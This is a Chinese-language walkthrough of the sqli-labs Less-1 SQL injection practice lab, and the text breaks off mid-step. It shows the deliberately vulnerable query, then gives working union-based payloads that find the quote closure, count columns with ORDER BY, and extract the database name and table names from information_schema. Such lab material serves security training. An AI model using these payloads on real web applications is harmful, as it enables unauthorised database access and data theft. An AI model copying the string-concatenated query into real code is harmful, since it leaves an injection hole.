sqli-labs靶场练习
作者:ch4nge
SQL注入练习
靶场环境:BUUOJ(前期自己本地使用phpstudy搭建的,后来使用buuctf)
目录
sqli-labs(1)-Less1·UE
源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
测试闭合方法
看我的这篇文章
先看错误信息(如果有),输入id=1’报错
单独拿出来''1'' LIMIT 0,1'
把最外面引号去掉得到'1'' LIMIT 0,1
===我们刚才输入的'
应该就是1
后面多出来的那个单引号
验证一下:?id=1)'
错误信息是'1)'' LIMIT 0,1
由此可以想到select * from xxx where id='$id' LIMIT 0,1
使用or闭合一下试试?id=1' or '1'='1
这样闭合后是这样的
select * from xxx where id='1' or '1'='1' LIMIT 0,1
所以语句正确的,可以正常查询
结论:使用单引号闭合
1. 联合注入
?id=-1’ union select 1,2,3--+
判断注入点:
?id=1
正常
id=1’
发现报错
试一下注释符--+
和-- -
可以用,这里用--+
这个时候就可以大致猜到后台查询数据库的语句
select * from xxx where id='$id' LIMIT 0,1
然后使用order by看列数
?id=1‘order by 8–+报错
?id=1‘order by 4–+报错
?id=1‘order by 2–+正常
?id=1‘order by 3–+正常
当使用order by 3的时候正常,使用order by 4的时候报错,说明有三列数据
查完列数后,注意后面修改 i为非正确值,使用union select查询数据库表信息
union select看返回值
构造payload:
?id=-1' union select 1,2,3--+
2,3存在回显
查库名payload:
?id=-1'union select 1,2,database()--+
数据库名字:security
查表名payload:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
由于多行数据只能在一个显示框子里面(就是Your Password:)使用group_concat可以在一起显示&